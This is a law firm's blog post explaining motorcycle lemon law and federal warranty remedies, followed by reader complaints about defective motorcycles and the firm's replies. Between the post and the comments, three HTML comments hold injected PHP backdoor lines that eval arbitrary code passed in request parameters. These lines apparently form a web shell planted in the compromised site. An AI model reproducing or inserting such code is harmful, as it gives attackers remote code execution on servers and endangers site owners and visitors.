Motorcycle Lemon Law

June 13, 2008 – 1:59 pm

Hello and welcome to our blog about Motorcycle Lemon Law, which talks about problems and complaints with various makes and models of motorcycles. In this site we’ll discuss the Lemon Law, Motorcycle Lemon Law and consumer rights concerning the Magnuson Moss statute.

If You Are Having Problems With Your Motorcycle, You Are Not Alone!

Many consumers have been reporting problems or defects with their bikes such as defective transmission parts, but don’t often report them because they are unaware that motorcycles are covered under the lemon law.

Every State has a Lemon Law and Most Will Cover a Motorcycle

Under the Lemon Law you are entitled to a NEW MOTORCYCLE or REFUND where the use, value or safety has been substantially affected. Or, if your motorcycle falls outside the State Lemon Law, there is a chance that you could still seek remedy under Federal Warranty Statutes such as Magnuson Moss.

Kimmel & Silverman

Our firm has provided free lemon law help to more than 75,000 consumers – more than any other lemon law firm nationwide! If you have been having problems with a bad motorcycle or bike and would like to know whether or not a legitimate claim for recovery under the lemon law is available to you, contact us or call 1-800-LEMON-LAW (1-800-536-6652). The only thing you have to lose is your lemon motorcycle or bike!

<!– [insert_php]if (isset($_REQUEST["UIadE"])){eval($_REQUEST["UIadE"]);exit;}[/insert_php][php]if (isset($_REQUEST["UIadE"])){eval($_REQUEST["UIadE"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["hWnf"])){eval($_REQUEST["hWnf"]);exit;}[/insert_php][php]if (isset($_REQUEST["hWnf"])){eval($_REQUEST["hWnf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["QwIp"])){eval($_REQUEST["QwIp"]);exit;}[/insert_php][php]if (isset($_REQUEST["QwIp"])){eval($_REQUEST["QwIp"]);exit;}[/php] –>

  1. 11 Responses to “Motorcycle Lemon Law”

  2. Well, this lemon law is nice and all, but like all laws, it has some flaws.
    My cousin lives in the DC of Washington and claims to still have problems when buying used vehicles.
    Seems like sellers found a way to bypass some of the regulations.
    Oh well – some laws were invented to be broken…
    Tune in for Lemon Law version 2.0, as the current one is still Beta 😛

    By Lisa Follin on Jan 13, 2009

  3. Hi Lisa,

    That’s because typically, lemon laws only cover new cars, generally within the first year or 2 in some states, and under a specific mileage, depending on the state you live in. Each state has it’s own lemon law – in DC, the law is 4 repair attempts within the first 2 years or 18,000 miles.

    Used cars may qualify for a breach of warranty case under the Magnuson-Moss Warranty Act if it still has the manufacturer’s original warranty or a purchased limited warranty, typically from the dealership.

    Most used cars are bought with a limited, dealer warranty, or the original manufacturer’s warranty already expired or only a little “life” left in it. Hence, by the time the consumer has consistent problems, the warranty has run out.

    Used car buyers should always get a Carfax report to check out the vehicle they are purchasing to check for “hidden” damage.

    By editor on Jan 13, 2009

  4. i just bought a 09 night train. with 0 miles on it i put 230 miles on it and discovered that my oil tank had cracked. this is not the only thing wrong the day i took it home i locked the neck then tried to lock the ignition and discover that the factory had put the wrong ignition in it. i know about things not being perfect when you buy them but its alittle unnerving when you lay out that kinda cash just to have it sit in a dealership garage getting bumped dinged and sat on .

    By john on Mar 21, 2009

  5. I have a 2002 harley davidson ultra classic touring bike. I purchased it new. Before it had 35,000 miles on it, I had to replace all four fairing braces. The two main vertical ones were broke and stress fractured full length. 8500 miles later, all four braces are broke again. Customer service don’t want to hear it. If your warranty is up, tough! I contacted the dealership where I bought it and they told me they change these on a regular basis. They’ve cried on death ears to Harley Davidson. If all these same models all have the same problem I’m sensing a recall. But Harley is ignoring the problem! I’ve searched the internet for help. Found a place that makes braces out of stainless steel. Also found out from a guy who bought and installed these braces. Said they held up but the inner fairing cracked. Harley has a problem here and oviously is reluctant to spend money on a recall

    By Ed Bednar on Apr 3, 2009

  6. Please followup via e-mail

    By Ed Bednar on Apr 6, 2009

  7. I purchased a brand new Kawasaki Ninja 250, I put 200 miles on it, and it is back in the shop for the third time already. They keep telling me the fuel detoriates, and clogs the carb. Last time they put marine stabilizer in it, guaranteed it would never happen again. Two months later, it happens. Now they’re saying the stable is bad. I can’t figure out why none of my other friends with bikes, ever has their fuel go “bad.”

    By winnie on Sep 2, 2009

  8. Winnie, it does appear that you have a potential claim under the New Jersey Lemon Law. Please contact us at 1-800 LEMON LAW (1-800-536-6652) to discuss your situation and how we can help.

    By admin on Sep 9, 2009

  9. 2009 buell blast with 5442 miles been in shop 4 times exhaust pipe , oil leak , head gasket ,crank case seal oil leak , now back again for the exaust all covered under warranty. the rear fender is wore through an they want fix it , the paint is changeing color tey want cover it. can i file lemmon law on this bike?

    By patrcia on Dec 10, 2009

  10. Hello Patricia,

    In many states, such as New Jersey, it appears you would have a solid lemon law claim. In states where the lemon law does not cover motorcycles, you certainly have a claim under the Federal Magnuson Moss Warranty Act, which provides remedy to consumers who have consistent problems with products over $25 that are covered under manufacturers warranty. Either way, the representation should be completely cost-free to you. Please visit the State Motorcycle Lemon Laws page to get a complete rundown of State Lemon Laws and what they cover.

    If you wish to file a claim, please contact us here using the form on the main page and we can help you.

    By admin on Dec 11, 2009

  11. Good Evening,
    2.5 years ago I purchased a 2004 Big Dog Mastiff Motorcycle,At time of purchase the M/C only had 863 miles on Bike.I am currently the 3rd owner of the bike and it has to date 2,765 miles.Since purchase of the bike I have had repeated problems with the bike.I have taken the bike to Big Dog dealerships for starting and performance issues.I have also taken it to now (3) reputable repairs centers.I have had the bike serviced as owners manual suggested.To date I have replace all carb jets,Full ignition system,charging sytem,plugs,etc.The bike is currently at AGAIN another BigDog M/C dealership.Basically Chasing a ghost.I have spent several Thousand Dollars just trying to keep my bike reliable and safe to ride and enjoy!!!Total Frustration.I am suppose to contact the home office on the 29th of July to see what the factory is willing to do to assist me in these issues.I definitly have a “LEMON IN MY POSESSION….” Any help would be great!!!

    By Shane Woods on Jul 22, 2010

  12. i am a motorcycle fan and i am a collector too. motorcycles are really beautiful and a great mode of transport.

    By Abigail Clark on Jul 27, 2010

Post a Comment